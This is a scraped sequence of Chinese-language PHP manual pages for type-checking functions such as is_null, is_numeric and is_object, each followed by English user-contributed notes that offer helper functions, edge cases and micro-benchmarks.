$bool = ( !is_int($value) ? (ctype_digit($value)) : true );

$value = 42; //true
$value = '42'; //true
$value = '1e9'; //false
$value = '0155'; //true
$value = 0155; //true
$value = 0xFF; //true while it's just the same as 255
$value = '0xFF'; //false
$value = 'a'; //false
$value = array(); //false
$value = array('5'); //false
$value = array(5); false
$value = ''; //false
$value = NULL; //false

?>

Short & cool :)
arturs at indigo dot lv 04-May-2012 11:31
Sometime needed check if string containing numbers is integer or not. Then I created this small function:
<?php
function is_integer2($v) {
  $i = intval($v);
  if ("$i" == "$v") {
    return TRUE;
  } else {
    return FALSE;
  }
}
?>
andre dot roesti at 7flex dot net 27-Jul-2010 05:51
With this function you can check if every of multiple variables are int. This is a little more comfortable than writing 'is_int' for every variable you've got.

<?php
function are_int ( ) {
    $args = func_get_args ();
    foreach ( $args as $arg )
        if ( ! is_int ( $arg ) )
            return false;
    return true;
}

// Example:
are_int ( 4, 9 ); // true
are_int ( 22, 08, 'foo' ); // false
?>
Robin 27-Mar-2010 08:22
Keep in mind that is_int() operates in signed fashion, not unsigned, and is limited to the word size of the environment php is running in.

In a 32-bit environment:

<?php
is_int( 2147483647 );           // true
is_int( 2147483648 );           // false
is_int( 9223372036854775807 );  // false
is_int( 9223372036854775808 );  // false
?>

In a 64-bit environment:

<?php
is_int( 2147483647 );           // true
is_int( 2147483648 );           // true
is_int( 9223372036854775807 );  // true
is_int( 9223372036854775808 );  // false
?>

If you find yourself deployed in a 32-bit environment where you are required to deal with numeric confirmation of integers (and integers only) potentially breaching the 32-bit span, you can combine is_int() with is_float() to guarantee a cover of the full, signed 64-bit span:

<?php
$small = 2147483647;         // will always be true for is_int(), but never for is_float()
$big = 9223372036854775807;  // will only be true for is_int() in a 64-bit environment

if( is_int($small) || is_float($small) );  // passes in a 32-bit environment
if( is_int($big) || is_float($big) );      // passes in a 32-bit environment
?>
thierryreeuwijk at hotmail dot com 14-Jan-2010 02:04
If you only want integer values like 23 or 0155, or form/string integer values like "23" or "0155" to be valid, this should work just fine.

<?php

    function int($int){

        // First check if it's a numeric value as either a string or number
        if(is_numeric($int) === TRUE){

            // It's a number, but it has to be an integer
            if((int)$int == $int){

                return TRUE;

            // It's a number, but not an integer, so we fail
            }else{

                return FALSE;
            }

        // Not a number
        }else{

            return FALSE;
        }
    }

    print("155".int(155)."<br>");
    print("15.5".int(15.5)."<br>");
    print("\"155\"".int("155")."<br>");
    print("\"15.5\"".int("15.5")."<br>");
    print("\"0155\"".int("0155")."<br>");
    print("\"I'm 155\"".int("I'm 155")."<br>");
    print("\"test\"".int("test")."<br>");
    print("\"\"".int(""));
?>

The above returns:

155        TRUE
15.5       FALSE
"155"      TRUE
"15.5"     FALSE
"0155"     TRUE
"I'm 155"  FALSE
"test"     FALSE
""         FALSE
me at rexxars dot com 16-Sep-2009 05:23
I was looking for the fastest way to check for an unsigned integer which supported large numbers like 4318943448871348 or 0xFFFFFFFF.

Fastest I came up with is this:
<?php
function is_unsigned_int($val) {
    return ctype_digit((string) $value));
}
?>

Will return true on 1515, 0xFFFFFFFF, '3515' and '1365158185855141'.
Will return false on 0.1515, '415.4134' and '-616'.

Be aware though, before PHP 5.1.0 this will return true on an empty string.

According to my benchmarks this is about 30% faster than the regex ^\d+$.
Roberto Rama 21-Jul-2009 11:39
Use this instead if you wanna know if a string is explicitly a number:

<?php

function isint( $mixed )
{
    return ( preg_match( '/^\d*$/'  , $mixed) == 1 );
}

var_export( isint( '123' ) ); //This will return true

var_export( isint( 123 ) ); //This will return true

var_export( isint( 'asd' ) ); //This will return false

var_export( isint( '123asd123' ) ); //This will return false

?>
e dot sand at elisand dot com 09-Apr-2009 08:27
Simon Neaves was close on explaining why his function is perfect choice for testing for an int (as possibly most people would need).  He made some errors on his ctype_digit() output though - possibly a typo, or maybe a bug in his version of PHP at the time.

The correct output for parts of his examples should be:

<?php
var_dump(ctype_digit(23)); //bool(false)
var_dump(ctype_digit("23")); //bool(true)
var_dump(ctype_digit(23.5)); //bool(false)
var_dump(ctype_digit(NULL)); //bool(false)
var_dump(ctype_digit("")); //bool(false)
?>

As you can see, the reason why using *just* ctype_digit() may not always work is because it only returns TRUE when given a string as input - given a number value and it returns FALSE (which may be unexpected).
leonix at motd dot ru 16-Dec-2008 12:08
another_is_int() is almost perfect, but it treats boolean true as int because
1 == (int) true == (string) true == '1'.

Fixed version:

<?php
/**
 * Checks if the given value represents integer
 */
function int_ok($val)
{
    return ($val !== true) && ((string)(int) $val) === ((string) $val);
}
?>
paulo dot koch at g_mail dot com 17-Oct-2008 12:30
Don't over-engineer it.

<?php
function another_is_int($a){
    return ((string) $a) === ((string)(int) $a);
}
?>
Wryel Covo - ryryel[at]gmail[dot]com 14-Oct-2008 11:53
<?php
function onlyNumbers($string){
    //This function removes all characters other than numbers
    //Esta fun??o limpa a url e conserva apenas os numeros
    $string = preg_replace("/[^0-9]/", "", $string);
    return (int) $string;
}

echo $test = onlyNumbers("as87d68a6db8a7d686dx8a6dx"); //2147483647
echo "<br/>";
echo onlyNumbers("xn89d9x797d9a8x7-"); //899797987
echo "<br/>";
if(is_int($test)){
    echo "Is int ! - é inteiro !"; // This OK !
} else {
    echo "Not int ! - N?o é inteiro";
}
?>
mark at codedesigner dot nl 26-Jun-2008 06:34
updated version from Simon Neaves

<?php
function isInteger($input){
  return preg_match('@^[-]?[0-9]+$@',$input) === 1;
}
?>

this function checks if the string:
- starts with a - sign (optional)
- ends with 1 or more numeric chars
Julien Picalausa 11-May-2008 02:44
To check if a string ($s) is a representation of an integer (including representations is scientific notation and negative numbers), you can use the following test, provided that you don't expect values that are out of bounds for an integer.

is_numeric($s) && floatval($s) == intval(floatval($s))

If the test returns true, the string is a representation of an integer.
is_numeric (if it works as intended) protects from strings that are not proper numbers.
The comparison filters anything that is non_integer

If, for performance reasons, you want to avoid converting to float twice, it can also be written:
is_numeric($s) && ($f = floatval($s)) == intval($f)

If you plan to get values that cannot be representated with an integer and are ready to deal with a float, you can use floor instead of intval, as long as you are ready to deal with floats. Even so, that method will become unreliable when the precision of the float becomes insufficient for getting to the fractional part of the number
Simon Neaves 29-Apr-2008 11:14
I've found that both that is_int and ctype_digit don't behave quite as I'd expect, so I made a simple function called isInteger which does. I hope somebody finds it useful.

<?php
function isInteger($input){
    return(ctype_digit(strval($input)));
}

var_dump(is_int(23)); //bool(true)
var_dump(is_int("23")); //bool(false)
var_dump(is_int(23.5)); //bool(false)
var_dump(is_int(NULL)); //bool(false)
var_dump(is_int("")); //bool(false)

var_dump(ctype_digit(23)); //bool(true)
var_dump(ctype_digit("23")); //bool(false)
var_dump(ctype_digit(23.5)); //bool(false)
var_dump(ctype_digit(NULL)); //bool(false)
var_dump(ctype_digit("")); //bool(true)

var_dump(isInteger(23)); //bool(true)
var_dump(isInteger("23")); //bool(true)
var_dump(isInteger(23.5)); //bool(false)
var_dump(isInteger(NULL)); //bool(false)
var_dump(isInteger("")); //bool(false)
?>
qlimmax at gmail dot com 07-Apr-2008 10:58
function is_natural($natural,$zero=true)
{
if(ctype_digit($natural))
{
    if($zero)
    {
        $natural_test=(int)$natural;
        if((string)$natural_test !== $natural) return false;
        else return true;
    }
    else return true;
}
else return false;
}

true for ("0","1","2","3",...) false for("-1","01","adS","#@!$%^&*-...","0.7","0,7", "0x12",...)
if $zero=false
true for("0","00","1","01",...) false("-1","#@!$%^&*-...","adS","0.7","0,7", "0x12",...)
tudor at tudorholton dot com 04-Jul-2007 06:27
Please note this from the Integer datatype page:

"The size of an integer is platform-dependent, although a maximum value of about two billion is the usual value (that's 32 bits signed). PHP does not support unsigned integers. Integer size can be determined from PHP_INT_SIZE, maximum value from PHP_INT_MAX since PHP 4.4.0 and PHP 5.0.5."

This is particularly important if you are doing validation of large keys or any number larger than 2,000,000,000 (e.g. telephone numbers)
Ender at soldat dot nl 16-Feb-2006 03:38
Be aware that is_numeric (mentioned in this article as the proper way to validate string numbers) also allows numbers in scientific and hexadecimal annotation. Thus DO NOT USE that function to validate user input that will be used as id number for in a query for example, this could cause mysql errors. Use ctype_digit instead.
ludvig dot ericson at gmail dot com 06-Jan-2006 01:00
I would like to say that is_int() is pretty helpfull when looking for neat proper ways to check functions that return either integers or booleans (false) on failure (strpos, socket_select, etc.)
<?php
function mySelect() {
    global $someSockets;
    $ret = socket_select($someSockets, $o = array(), $e = array(), 0);
    if (!$ret)
        return is_int($ret);
    /* FURTHER PROCESSING HERE */
    return true;    // Return true if the function proceeded as expected.
}
?>
The point of doing this is that if you put this in a while() loopo, you'll break it when the select fails.
<?php
while (mySelect());
?>

Hope you get the point
 - toxik
lclkk at urbanvagabond dot net 15-Sep-2003 07:24
I think the function below is a robust test for integers working on all datatypes. It works by first checking that a number can be evaluated numerically, and then secondly that the integer evaluation matches the original number.

Test cases are included.

<?
function myIsInt ($x) {
    return (is_numeric($x) ? intval($x) == $x : false);
}

function Test($x) {
    echo "$x is " . ( myIsInt($x) ? ('an integer. The integer value is ' . intval($x)) : 'not an integer.');
    echo "\n";
}

echo "These should be integers...\n";
Test(1);
Test(5);
Test(10);
Test(10.0);
Test(20.0);
Test(-20.0);
Test(0+4+4.5+4.5);
Test("10.0");
Test("+14");
Test("-15");
Test("0");

echo "\nThese should not be integers...\n";
Test(true); // watch out, this displays as '1'
Test(false);
Test("moose");
Test("3.5");
Test("-214235.5");
Test(""); // empty string
Test(array(1,2,3));
Test(dir('.')); // object
Test(null);
?>
gabe at websaviour dot com 14-Jul-2003 11:08
Although this can be inferred from the documentation, beware of numeric strings.  I ran into the problem in a MySQL app where I would either SELECT an INT PRIMARY KEY or INSERT a new record and use mysql_insert_id() to get the KEY before continuing onto the new section.

I used is_int() to make sure the subsequent queries wouldn't break when using the key variable.  Unfortunately I failed to realize that while mysql_insert_id() returns an int, mysql_result() always returns a string even if you are SELECTing from an INT field.

Spent at least 30 minutes trying to figure out why existing records weren't getting linked, but new records would link fine.  I ended up using intval() on mysql_result() to make sure subsequent queries still always work.


别名 is_int

  • ? is_int
  • is_iterable ?
  • PHP Manual
  • 变量处理函数
  • 别名 is_int

is_integer

(PHP 4, PHP 5, PHP 7, PHP 8)

is_integer — 别名 is_int()

说明

此函数是该函数的别名： is_int().

User Contributed Notes

There are no user contributed notes for this page.


验证变量的内容是否为可迭代值

  • ? is_integer
  • is_long ?
  • PHP Manual
  • 变量处理函数
  • 验证变量的内容是否为可迭代值

is_iterable

(PHP 7 >= 7.1.0, PHP 8)

is_iterable — 验证变量的内容是否为可迭代值

说明

is_iterable(mixed $value): bool

验证变量的内容是否被 iterable 伪类型接受，即不是 array，就是实现了 Traversable 接口的对象。

参数

value

验证的值

返回值

如果 value 可迭代返回 true，否则返回 false。

示例

Example #1 is_iterable() 示例

<?php

var_dump(is_iterable([1, 2, 3])); // bool(true)
var_dump(is_iterable(new ArrayIterator([1, 2, 3]))); // bool(true)
var_dump(is_iterable((function () { yield 1; })())); // bool(true)
var_dump(is_iterable(1)); // bool(false)
var_dump(is_iterable(new stdClass())); // bool(false)

?>

参见

  • is_array() - 检测变量是否是数组

User Contributed Notes

mopsyd at me dot com 01-Apr-2018 04:24
A slight correction to brcontainer's polyfill, which prevents errors on a non-object in a non-blocking way, and also corrects the issue of  the conditional checking "file_exists" instead of the correct "function_exists":

if ( !function_exists(  'is_iterable' ) )
{

    function is_iterable( $obj )
    {
        return is_array( $obj ) || ( is_object( $obj ) && ( $obj instanceof \Traversable ) );
    }

}

The original answer would not have resolved correctly, because it was looking for a file instead of a function, and the provided method would error if given a non-iterable non-object value such as false.
brcontainer at yahoo dot com dot br 09-Mar-2018 08:35
Polyfill for PHP5.6 and PHP7.0

    if (!file_exists('is_iterable')) {
        function is_iterable($obj)
        {
            return is_array($obj) || $obj instanceof \Traversable;
        }
    }
anatoly dot pashin at gmail dot com 01-Feb-2018 07:02
Here is more details on iterable type: http://php.net/manual/en/language.types.iterable.php


别名 is_int

  • ? is_iterable
  • is_null ?
  • PHP Manual
  • 变量处理函数
  • 别名 is_int

is_long

(PHP 4, PHP 5, PHP 7, PHP 8)

is_long — 别名 is_int()

说明

此函数是该函数的别名： is_int().

User Contributed Notes

There are no user contributed notes for this page.


检测变量是否是 null

  • ? is_long
  • is_numeric ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否是 null

is_null

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

is_null — 检测变量是否是 null

说明

is_null(mixed $value): bool

检测变量是否是 null。

参数

value

需要检测的变量。

返回值

如果 value 是 null，返回 true，否则返回 false。

示例

Example #1 is_null() 示例

<?php

error_reporting(E_ALL);

$foo = NULL;
var_dump(is_null($inexistent), is_null($foo));

?>
Notice: Undefined variable: inexistent in ...
bool(true)
bool(true)

参见

  • null 类型
  • isset() - 检测变量是否已声明并且其值不为 null
  • is_bool() - 检测变量是否是布尔值
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_string() - 查找变量的类型是否是字符串
  • is_object() - 查找变量是否是对象
  • is_array() - 检测变量是否是数组

User Contributed Notes

ahamilton9 19-Apr-2022 08:28
A quick test in 2022 on PHP 8.1 confirms there is still no need to micro-optimize NULL checks:

<?php

// Comparison Operator
$before = microtime(true);
$var = null;
for ($i=0 ; $i<1000000000 ; $i++) {
    if($var === null) {}
}
$after = microtime(true);
echo '    ===: ' . ($after - $before) . " seconds\n";

// Function
$before = microtime(true);
$var = null;
for ($i=0 ; $i<1000000000 ; $i++) {
    if(is_null($var)) {}
}
$after = microtime(true);
echo 'is_null: ' . ($after - $before) . " seconds\n";

//     ===: 4.1487579345703 seconds
// is_null: 4.1316878795624 seconds
etimjoshua4 at gmail dot com 20-Jan-2021 05:09
I've found that for HTTP requests such as POST, is_null isn't the most reliable choice for checking if empty.

Try using

if(trim($var) == ""){
    // do something
}

instead.

I think the request does something to the input that makes it definitely not NULL.
contact dot 01834e2c at renegade334 dot me dot uk 25-May-2015 06:57
In PHP 7 (phpng), is_null is actually marginally faster than ===, although the performance difference between the two is far smaller.

PHP 5.5.9
is_null - float(2.2381200790405)
===     - float(1.0024659633636)
=== faster by ~100ns per call

PHP 7.0.0-dev (built: May 19 2015 10:16:06)
is_null - float(1.4121870994568)
===     - float(1.4577329158783)
is_null faster by ~5ns per call
normadize (a) gmail (d) com 07-Jul-2012 10:08
Using === NULL instead of is_null(), is actually useful in loaded server scenarios where you have hundreds or thousands of requests per second. Saving microseconds on a lot of "simple" operations in the entire PHP execution chain usually results in being able to serve more pages per second at the same speed, or lowering your cpu usage. People usually write very bad and slow code.
george at fauxpanels dot com 01-Dec-2008 01:58
See how php parses different values. $var is the variable.

$var        =    NULL    ""    0    "0"    1

strlen($var)    =    0    0    1    1    1
is_null($var)    =    TRUE    FALSE    FALSE    FALSE    FALSE
$var == ""    =    TRUE    TRUE    TRUE    FALSE    FALSE
!$var        =    TRUE    TRUE    TRUE    TRUE    FALSE
!is_null($var)    =    FALSE    TRUE    TRUE    TRUE    TRUE
$var != ""    =    FALSE    FALSE    FALSE    TRUE    TRUE
$var        =    FALSE    FALSE    FALSE    FALSE    TRUE

Peace!
Malfist 01-Jul-2008 07:54
Micro optimization isn't worth it.

You had to do it ten million times to notice a difference, a little more than 2 seconds

$a===NULL; Took: 1.2424390316s
 is_null($a); Took: 3.70693397522s

difference = 2.46449494362
difference/10,000,000 = 0.000000246449494362

The execution time difference between ===NULL and is_null is less than 250 nanoseconds. Go optimize something that matters.
strrev xc.noxeh@ellij 03-Jun-2008 05:42
$var===NULL is much faster than is_null($var) (with the same result)

I did some benchmarking with 10 million iterations:

$a=null;
 isset($a); Took: 1.71841216087s
 $a==NULL; Took: 1.27205181122s
 $a===NULL; Took: 1.2424390316s
 is_null($a); Took: 3.70693397522s
$a=5;
 isset($a); Took: 1.15165400505s
 $a==NULL; Took: 1.41901302338s
 $a===NULL; Took: 1.21655392647s
 is_null($a); Took: 3.78501200676s
error_reporting(E_ALL&~E_NOTICE);
unset($a);
 isset($a); Took: 1.51441502571s
 $a==NULL; Took: 16.5414860249s
 $a===NULL; Took: 16.1273870468s
 is_null($a); Took: 23.1918480396s

Please note, that isset is only included because it gives a good performance in any case; HOWEVER isset is NOT the same, or the opposite.
But you might be able to use isset() instead of null-checking.

You should not use is_null, except when you need a callback-function, or for conformity with is_int, is_float, etc.
ai dot unstmann at combase dot de 14-Jan-2008 12:17
For what I realized is that  is_null($var)  returns exactly the opposite of  isset($var) , except that is_null($var) throws a notice if $var hasn't been set yet.

the following will prove that:

<?php

$quirks = array(null, true, false, 0, 1, '', "\0", "unset");

foreach($quirks as $var) {
    if ($var === "unset") unset($var);

    echo is_null($var) ? 1 : 0;
    echo isset($var) ? 1 : 0;
    echo "\n";
}

?>

this will print out something like:

10    // null
01    // true
01    // false
01    // 0
01    // 1
01    // ''
01    // "\0"
Notice:  Undefined variable: var in /srv/www/htdocs/sandbox/null/nulltest.php on line 8
10    // (unset)

For the major quirky types/values is_null($var) obviously always returns the opposite of isset($var), and the notice clearly points out the faulty line with the is_null() statement. You might want to examine the return value of those functions in detail, but since both are specified to return boolean types there should be no doubt.

A second look into the PHP specs tells that is_null() checks whether a value is null or not. So, you may pass any VALUE to it, eg. the result of a function.
isset() on the other hand is supposed to check for a VARIABLE's existence, which makes it a language construct rather than a function. Its sole porpuse lies in that checking. Passing anything else will result in an error.

Knowing that, allows us to draw the following unlikely conclusion:

isset() as a language construct is way faster, more reliable and powerful than is_null() and should be prefered over is_null(), except for when you're directly passing a function's result, which is considered bad programming practice anyways.
michael at cannonbose dot com 30-Dec-2003 09:42
Regarding avoidance of NULLs in your MySQL queries, why not use  IS NULL and IS NOT NULL in your WHERE clauses.

SELECT *
FROM someDatabase
WHERE someAttribute IS NOT NULL

Cheers,

Michael


检测变量是否为数字或数字字符串

  • ? is_null
  • is_object ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否为数字或数字字符串

is_numeric

(PHP 4, PHP 5, PHP 7, PHP 8)

is_numeric — 检测变量是否为数字或数字字符串

说明

is_numeric(mixed $value): bool

检测指定的变量是否为数字或数字字符串。

参数

value

需要检测的变量。

返回值

如果 value 是数字或数字字符串， 返回 true，否则返回 false。

更新日志

版本 | 说明
8.0.0 | 以空格结尾的数字字符串（"42 "）现在将返回 true。以前，会返回 false。

示例

Example #1 is_numeric() 示例

<?php
$tests = array(
"42",
1337,
0x539,
02471,
0b10100111001,
1337e0,
"0x539",
"02471",
"0b10100111001",
"1337e0",
"not numeric",
array(),
9.1,
null,
'',
);

foreach ($tests as $element) {
if (is_numeric($element)) {
echo var_export($element, true) . " is numeric", PHP_EOL;
} else {
echo var_export($element, true) . " is NOT numeric", PHP_EOL;
}
}
?>

以上示例会输出：

'42' is numeric
1337 is numeric
1337 is numeric
1337 is numeric
1337 is numeric
1337.0 is numeric
'0x539' is NOT numeric
'02471' is numeric
'0b10100111001' is NOT numeric
'1337e0' is numeric
'not numeric' is NOT numeric
array (
) is NOT numeric
9.1 is numeric
NULL is NOT numeric
'' is NOT numeric

Example #2 带有空格的 is_numeric()

<?php
$tests = [
" 42",
"42 ",
"\u{A0}9001", // non-breaking space
"9001\u{A0}", // non-breaking space
];
foreach ($tests as $element) {
if (is_numeric($element)) {
echo var_export($element, true) . " is numeric", PHP_EOL;
} else {
echo var_export($element, true) . " is NOT numeric", PHP_EOL;
}
}
?>

以上示例在 PHP 8 中的输出：

' 42' is numeric
'42 ' is numeric
' 9001' is NOT numeric
'9001 ' is NOT numeric

以上示例在 PHP 7 中的输出：

' 42' is numeric
'42 ' is NOT numeric
' 9001' is NOT numeric
'9001 ' is NOT numeric

参见

  • 数字字符串
  • ctype_digit() - 检测数字字符
  • is_bool() - 检测变量是否是布尔值
  • is_null() - 检测变量是否是 null
  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_string() - 查找变量的类型是否是字符串
  • is_object() - 查找变量是否是对象
  • is_array() - 检测变量是否是数组
  • filter_var() - 使用特定的过滤器过滤一个变量

User Contributed Notes

Katrina Kizenbach 07-Dec-2022 08:44
Note that is_numeric() will evaluate to false for number strings using decimal commas.

is_numeric('0.11');
Output: true

is_numeric('0,11');
Output: false
anantkumarsingh03101988 at gmail dot com 22-Aug-2022 05:16
Example #2

Output:

'9001 ' is NOT numeric

is incorrect for PHP8, it's numeric.

So please correct this.
tanguy_barsik at hotmail dot com 03-Feb-2017 03:22
for strings, it return true only if float number has a dot

is_numeric( '42.1' )//true
is_numeric( '42,1' )//false
ben at chico dot com 07-Jan-2014 11:20
Apparently NAN (Not A Number) is a number for the sake of is_numeric().

<?php
echo "is ";
if (!is_numeric(NAN))
 echo "not ";
 echo "a number";
?>

Outputs "is a number". So something that is NOT a number (by defintion) is a number...
sobolanx at gmail dot com 22-Jan-2011 03:55
Note that the function accepts extremely big numbers and correctly evaluates them.

For example:

<?php
    $v = is_numeric ('58635272821786587286382824657568871098287278276543219876543') ? true : false;

    var_dump ($v);
?>

The above script will output:

bool(true)

So this function is not intimidated by super-big numbers. I hope this helps someone.

PS: Also note that if you write is_numeric (45thg), this will generate a parse error (since the parameter is not enclosed between apostrophes or double quotes). Keep this in mind when you use this function.
Magnus Deininger, dma05 at web dot de 07-Jan-2009 06:01
regarding the global vs. american numeral notations, it should be noted that at least in japanese, numbers aren't grouped with an extra symbol every three digits, but rather every four digits (for example 1,0000 instead of 10.000). also nadim's regexen are slightly suboptimal at one point having an unescaped '.' operator, and the whole thing could easily be combined into a single regex (speed and all).

adjustments:

<?php
$eng_or_world = preg_match
  ('/^[+-]?'. // start marker and sign prefix
  '(((([0-9]+)|([0-9]{1,4}(,[0-9]{3,4})+)))?(\\.[0-9])?([0-9]*)|'. // american
  '((([0-9]+)|([0-9]{1,4}(\\.[0-9]{3,4})+)))?(,[0-9])?([0-9]*))'. // world
  '(e[0-9]+)?'. // exponent
  '$/', // end marker
  $str) == 1;
?>

i'm sure this still isn't optimal, but it should also cover japanese-style numerals and it fixed a couple of other issues with the other regexen. it also allows for an exponent suffix, the pre-decimal digits are optional and it enforces using either grouped or ungrouped integer parts. should be easier to trim to your liking too.
moskalyuk at gmail dot com 21-Aug-2006 10:18
is_numeric fails on the hex values greater than LONG_MAX, so having a large hex value parsed through is_numeric would result in FALSE being returned even though the value is a valid hex number
kouber at saparev dot com 24-Nov-2003 03:05
Note that this function is not appropriate to check if "is_numeric" for very long strings. In fact, everything passed to this function is converted to long and then to a double. Anything greater than approximately 1.8e308 is too large for a double, so it becomes infinity, i.e. FALSE. What that means is that, for each string with more than 308 characters, is_numeric() will return FALSE, even if all chars are digits.

However, this behaviour is platform-specific.

http://www.php.net/manual/en/language.types.float.php

In such a case, it is suitable to use regular expressions:

function is_numeric_big($s=0) {
  return preg_match('/^-?\d+$/', $s);
}


查找变量是否是对象

  • ? is_numeric
  • is_real ?
  • PHP Manual
  • 变量处理函数
  • 查找变量是否是对象

is_object

(PHP 4, PHP 5, PHP 7, PHP 8)

is_object — 查找变量是否是对象

说明

is_object(mixed $value): bool

查找指定变量是否是对象。

参数

value

要计算的变量。

返回值

如果 value 是 object，返回 true，否则返回 false。

更新日志

版本 | 说明
7.2.0 | 没有定义类（__PHP_Incomplete_Class 类）的未序列化对象，is_object() 现在返回 true，之前返回 false。

示例

Example #1 is_object() 示例

<?php
// 声明简单的函数，从对象中返回数组
function get_students($obj)
{
if (!is_object($obj)) {
return false;
}

return $obj->students;
}

// 声明新的类实例并填充值
$obj = new stdClass();
$obj->students = array('Kalle', 'Ross', 'Felipe');

var_dump(get_students(null));
var_dump(get_students($obj));
?>

参见

  • is_bool() - 检测变量是否是布尔值
  • is_int() - 检测变量是否是整数
  • is_float() - 查找变量的类型是否是浮点型
  • is_string() - 查找变量的类型是否是字符串
  • is_array() - 检测变量是否是数组

User Contributed Notes

wadih at creationmw dot com 29-Jul-2017 06:47
Note that closures return true when passed to is_object():

<?php

echo
    is_object(
        function(){return "hello";}
    );

?>

Returns true (1)
shadow_games at abv dot bg 11-Jun-2014 03:42
here i created one function that i wanted to find but i had never found :X

    function compare_two_object_recursive($object_1, $object_2, $object_1_Identifier = false, $object_2_Identifier = false){
        $object1 = (array)$object_1;
        $object2 = (array)$object_2;
        $object3 = array();

        $o1i = $object_1_Identifier ? $object_1_Identifier : 1;
        $o2i = $object_2_Identifier ? $object_2_Identifier : 2;

        foreach($object1 as $key => $value){
            if(is_object($object1[$key])){
                $object1[$key] = (array)$object1[$key];
                $object2[$key] = (array)$object2[$key];
                $object3[$key] = (object)compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }elseif(is_array($object1[$key])){
                $object3[$key] = compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }else{
                if($object1[$key] == $object2[$key]){
                    $object3[$key]['comparison_status'] = "SAME";
                }else{
                    $object3[$key]['comparison_status'] = "NOT THE SAME";
                    $object3[$key][$o1i] = $object1[$key];
                    $object3[$key][$o2i] = $object2[$key];
                }
            }
        }
        return $object3;
    }
mark at not4you dot com 21-Sep-2011 12:23
Unserializes data as returned by the standard PHP serialize() function. If the unserialized object is not an array, it will be converted to one, particularily useful if it returns a __PHP_Incomplete_Class.

<?php
/**
 *
 * @param string $data Serialized data
 *
 * @return array    Unserialized array
 */
function unserialize2array($data) {
    $obj = unserialize($data);
    if(is_array($obj)) return $obj;
    $arr = array();
    foreach($obj as $k=>$v) {
        $arr[$k] = $v;
    }
    unset($arr['__PHP_Incomplete_Class_Name']);
    return $arr;
}
?>
peter dot nagel at portavita dot nl 22-Mar-2011 01:46
Note: is_object(null) returns false

This should actually be part of the input/output specification at the top of this page.
will 20-Mar-2010 02:36
Just discovered:
is_a  (  object $object  ,  string $class_name  )
Which checks if the object is of this class or has this class as one of its parents

Which seems to do what a lot here are trying to replicate
ldean at saleamp dot com 01-Sep-2009 07:16
Use instanceof() to check for a specific type.
Senthryl 17-Mar-2009 06:03
Cleaning it up even more:

<?php
function is_obj(&$object, $className = null, $caseSensitive = true) {
    return is_object($object) && (!is_string($className) || preg_match('/^'.$className.'$/D'.($caseSensitive ? '' : 'i'), get_class($object)));
}
?>
gregdangelo at gmail dot com 14-Apr-2008 12:03
cleaned up peter's code... use only one return statement

function is_obj( &$object, $check=null, $strict=true )
{
$result = false;
  if (is_object($object)) {
      if ($check == null) {
          $result =  true;
      } else {
           $object_name = get_class($object);
           $result =  ($strict === true)?
               ( $object_name == $check ):
               ( strtolower($object_name) == strtolower($check) );
      }
  }
return $result;
}
corychristison[aT-]lavacube(.dot)com 02-Feb-2005 05:06
Thank you victor AT fourstones DOT net.

I have written a function to do what victor has suggested, with the ease of use of is_object. It can be used to replace is_object(), but has an extra field [$check], to compare to a certain name. If $check is left empty, it will just check if &$object is an object.

<?php

function is_obj( &$object, $check=null, $strict=true )
{
    if( $check == null && is_object($object) )
    {
        return true;
    }
    if( is_object($object) )
    {
        $object_name = get_class($object);
        if( $strict === true )
        {
            if( $object_name == $check )
            {
                return true;
            }
        }
        else
        {
            if( strtolower($object_name) == strtolower($check) )
            {
                return true;
            }
        }
    }
}

?>

This could probably be cleaned up, but it's spaced out to be easy to read.
victor AT fourstones DOT net 01-Jan-2005 03:49
er, I don't think that's right, especially if calling from another object instance:

<?

function test_this()
{
    $c2 = new C2();
    $c2->func();
    $c1 = new C1();
    $c1->func();
    C1::func();
}

class C2
{
    function func()
    {
        C1::func();
    }
}

class C1
{
    function func()
    {
        if( isset($this) )
        {
            if( strtolower(get_class($this)) != 'c1' )
                print("oops\n");
            else
                print("this is ok\n" );
        }
        else
        {
            print("static call\n");
        }
    }
}

test_this();
?>

yields:
---------- run-php ----------

oops
this is ok
static call
corychristison[aT-]lavacube(.dot)com 01-Jan-2005 07:47
You can use is_object($this) to detect if the function is being called via instance or procedure.

Example:

<?php

class mrClass {

    function test( )
    {
        if( is_object($this) )
        {
         // do something for instance method
            echo 'this is an instance call <br />' . "\n";
        }
        else
        {
         // do something different for procedural method
            echo 'this is a procedure call <br />' . "\n";
        }
    }

}

$inst = new mrClass();
$inst->test();

mrClass::test();

?>

This would output:
this is an instance call <br />
this is a procedure call <br />

:-) Happy coding!
lbjay can be emailed at reallywow dot com 02-May-2003 12:18
I'm not even sure how to articulate this, so I'm going to just include test code. Maybe someone else will someday wonder the same thing.

<?
    error_reporting(E_ALL);
    class testParent
    {
        var $child;

        function testParent()
        {
            $this->child = new testChild();
        }
    }

    class testChild
    {
        function testChild()
        {
        }
    }

    $parent = new testParent();
    $parent2 = 'foobar';

    print join(',', Array(
        is_object($parent) ? 'yes' : 'no',
        is_object($parent->child) ? 'yes' : 'no',
        is_object($parent2) ? 'yes' : 'no',
        is_object($parent2->child) ? 'yes' : 'no'
    ));

?>

This prints "yes,yes,no,no". Basically this shows that you can use is_object to test if the child object is an object without worrying about an error if the parent object isn't an object either.


别名 is_float

  • ? is_object
  • is_resource ?
  • PHP Manual
  • 变量处理函数
  • 别名 is_float

is_real

(PHP 4, PHP 5, PHP 7, PHP 8)

is_real — 别名 is_float()

说明

此函数是该函数的别名： is_float().

Warning

该别名已在 PHP 7.4.0 中 废弃，并且自 PHP 8.0.0 起已被移除。

User Contributed Notes

There are no user contributed notes for this page.


查找变量是否为资源

  • ? is_real
  • is_scalar ?
  • PHP Manual
  • 变量处理函数
  • 查找变量是否为资源

is_resource

(PHP 4, PHP 5, PHP 7, PHP 8)

is_resource — 查找变量是否为资源

说明

is_resource(mixed $value): bool

查找指定变量是否为 resource。

参数

value

要计算的变量。

返回值

如果 value 是 resource，则返回 true，否则返回 false。

示例

Example #1 is_resource() 示例

<?php

$handle = fopen("php://stdout", "w");
if (is_resource($handle)) {
echo '$handle is a resource';
}

?>

